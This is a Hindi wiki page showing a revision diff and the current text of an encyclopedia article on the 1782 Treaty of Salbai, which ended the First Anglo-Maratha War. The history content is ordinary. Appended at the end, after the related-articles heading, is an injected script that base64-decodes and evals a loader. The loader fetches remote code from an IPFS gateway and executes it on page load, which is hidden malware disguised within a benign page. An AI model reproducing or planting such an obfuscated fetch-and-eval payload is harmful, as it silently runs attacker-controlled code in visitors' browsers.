"सालबाई की सन्धि" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(3 सदस्यों द्वारा किये गये बीच के 4 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
*'''सालबाई की सन्धि''', मई 1782 ई. में [[ईस्ट इण्डिया कम्पनी]] और [[महादजी शिन्दे]] के बीच हुई थी।
+
*'''सालबाई की सन्धि''', [[मई]] 1782 ई. में [[ईस्ट इण्डिया कम्पनी]] और [[महादजी शिन्दे]] के बीच हुई थी।
*फ़रवरी 1783 ई. में [[पेशवा]] की सरकार ने इसकी पुष्टि कर दी थी।
+
*[[फ़रवरी]] 1783 ई. में [[पेशवा]] की सरकार ने इसकी पुष्टि कर दी थी।
*इसके फलस्वरूप 1775 ई. से चला आ रहा प्रथम [[मराठा]] युद्ध समाप्त हो गया।
+
*इसके फलस्वरूप 1775 ई. से चला आ रहा [[आंग्ल-मराठा युद्ध प्रथम|प्रथम मराठा युद्ध]] समाप्त हो गया।
*सन्धि की शर्तों के अनुसार [[साष्टी]] टापू [[अंग्रेज़|अंग्रेज़ों]] के अधिकार में ही रहा।
+
*सन्धि की शर्तों के अनुसार [[साष्टी|साष्टी टापू]] [[अंग्रेज़|अंग्रेज़ों]] के अधिकार में ही रहा।
 
*अंग्रेज़ों ने [[राघोवा]] का पक्ष लेना छोड़ दिया और मराठा सरकार ने इसे पेंशन देना स्वीकार कर लिया।
 
*अंग्रेज़ों ने [[राघोवा]] का पक्ष लेना छोड़ दिया और मराठा सरकार ने इसे पेंशन देना स्वीकार कर लिया।
 
*अंग्रेज़ों ने [[माधवराव नारायण]] को [[पेशवा]] मान लिया और [[यमुना नदी]] के पश्चिम का समस्त भू-भाग महादजी शिन्दे को लौटा दिया।
 
*अंग्रेज़ों ने [[माधवराव नारायण]] को [[पेशवा]] मान लिया और [[यमुना नदी]] के पश्चिम का समस्त भू-भाग महादजी शिन्दे को लौटा दिया।
*अंग्रेज़ों और मराठों में यह सन्धि 20 वर्षों तक शान्तिपूर्वक चलती रही।
+
*अंग्रेज़ों और मराठों में यह सन्धि 20 [[वर्ष|वर्षों]] तक शान्तिपूर्वक चलती रही।
*इस सन्धि से सर्वाधिक लाभ अंग्रेज़ों को ही प्राप्त हुआ; क्योंकि अब उन्हें [[टीपू सुल्तान]] जैसे अन्य शत्रुओं से निश्चिन्तता पूर्वक निपटने तथा अपनी शक्ति और स्थिति को और भी मजबूत करने का अवसर मिल गया।
+
*इस सन्धि से सर्वाधिक लाभ अंग्रेज़ों को ही प्राप्त हुआ; क्योंकि अब उन्हें [[टीपू सुल्तान]] जैसे अन्य शत्रुओं से निश्चिन्तता पूर्वक निपटने तथा अपनी शक्ति और स्थिति को और भी मज़बूत करने का अवसर मिल गया।
  
 
{{प्रचार}}
 
{{प्रचार}}
पंक्ति 18: पंक्ति 18:
 
{{संदर्भ ग्रंथ}}
 
{{संदर्भ ग्रंथ}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 +
{{cite book | last = भट्टाचार्य| first = सच्चिदानन्द | title = भारतीय इतिहास कोश | edition = द्वितीय संस्करण-1989| publisher = उत्तर प्रदेश हिन्दी संस्थान| location =  भारत डिस्कवरी पुस्तकालय| language =  हिन्दी| pages = 469 | chapter =}}
 
<references/>
 
<references/>
{{cite book | last = भट्टाचार्य| first = सच्चिदानन्द | title = भारतीय इतिहास कोश | edition = द्वितीय संस्करण-1989| publisher = उत्तर प्रदेश हिन्दी संस्थान| location =  भारत डिस्कवरी पुस्तकालय| language =  हिन्दी| pages = 469 | chapter =}}
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 +
{{युद्ध सन्धियाँ}}
 
{{औपनिवेशिक काल}}
 
{{औपनिवेशिक काल}}
 
[[Category:इतिहास कोश]]
 
[[Category:इतिहास कोश]]
 
[[Category:औपनिवेशिक काल]]
 
[[Category:औपनिवेशिक काल]]
 
__INDEX__
 
__INDEX__

06:31, 21 अप्रैल 2012 के समय का अवतरण

  • सालबाई की सन्धि, मई 1782 ई. में ईस्ट इण्डिया कम्पनी और महादजी शिन्दे के बीच हुई थी।
  • फ़रवरी 1783 ई. में पेशवा की सरकार ने इसकी पुष्टि कर दी थी।
  • इसके फलस्वरूप 1775 ई. से चला आ रहा प्रथम मराठा युद्ध समाप्त हो गया।
  • सन्धि की शर्तों के अनुसार साष्टी टापू अंग्रेज़ों के अधिकार में ही रहा।
  • अंग्रेज़ों ने राघोवा का पक्ष लेना छोड़ दिया और मराठा सरकार ने इसे पेंशन देना स्वीकार कर लिया।
  • अंग्रेज़ों ने माधवराव नारायण को पेशवा मान लिया और यमुना नदी के पश्चिम का समस्त भू-भाग महादजी शिन्दे को लौटा दिया।
  • अंग्रेज़ों और मराठों में यह सन्धि 20 वर्षों तक शान्तिपूर्वक चलती रही।
  • इस सन्धि से सर्वाधिक लाभ अंग्रेज़ों को ही प्राप्त हुआ; क्योंकि अब उन्हें टीपू सुल्तान जैसे अन्य शत्रुओं से निश्चिन्तता पूर्वक निपटने तथा अपनी शक्ति और स्थिति को और भी मज़बूत करने का अवसर मिल गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 469।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>